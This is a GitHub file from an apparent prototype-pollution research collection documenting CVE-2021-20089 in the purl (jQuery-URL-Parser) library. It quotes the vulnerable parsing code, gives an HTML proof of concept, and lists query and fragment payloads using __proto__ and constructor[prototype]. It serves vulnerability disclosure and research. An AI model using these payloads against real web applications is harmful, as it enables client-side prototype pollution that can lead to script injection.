

master

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client-side-prototype-pollution / pp / purl.md

BlackFan Add CVEs

History

1 contributor

Executable File | 73 lines (60 sloc) | 1.98 KB

...

Purl (jQuery-URL-Parser)

URL: <https://github.com/allmarkedup/purl>

CVE

[CVE-2021-20089](#)

Vulnerable code fragment

<https://github.com/allmarkedup/purl/blob/6df9a03833ebbd479baede1e0111186a5d9906a2/purl.js#L111-L126>

```
uri.param['query'] = parseString(uri.attr['query']);
uri.param['fragment'] = parseString(uri.attr['fragment']);

...

function parseString(str) {
  return reduce(String(str).split(/&|;/), function(ret, pair) {
    try {
      pair = decodeURIComponent(pair.replace(/\+/g, ' '));
    } catch(e) {
      // ignore
    }
    var eql = pair.indexOf('='),
        brace = lastBraceInKey(pair),
        key = pair.substr(0, brace || eql),
        val = pair.substr(brace || eql, pair.length);

    val = val.substr(val.indexOf('=') + 1, val.length);

    if (key === '') {
      key = pair;
      val = '';
    }

    return merge(ret, key, val);
  }, { base: {} }).base;
}

...

function merge(parent, key, val) {
  if (~key.indexOf('.')) {
    var parts = key.split('.');
    parse(parts, parent, 'base', val);
  } else {
    if (!isint.test(key) && isArray(parent.base)) {
      var t = {};
      for (var k in parent.base) t[k] = parent.base[k];
      parent.base = t;
    }
    if (key !== '') {
      set(parent.base, key, val);
    }
  }
  return parent;
}
```

PoC

```
<script/src="https://cdnjs.cloudflare.com/ajax/libs/purl/2.3.1/purl.js"></script>
<script>
  purl('http://test/?__proto__[test1]=test1#__proto__[test2]=test2')
</script>
```

```
?__proto__[test]=test
?constructor[prototype][test]=test
#__proto__[test]=test
#constructor[prototype][test]=test
```



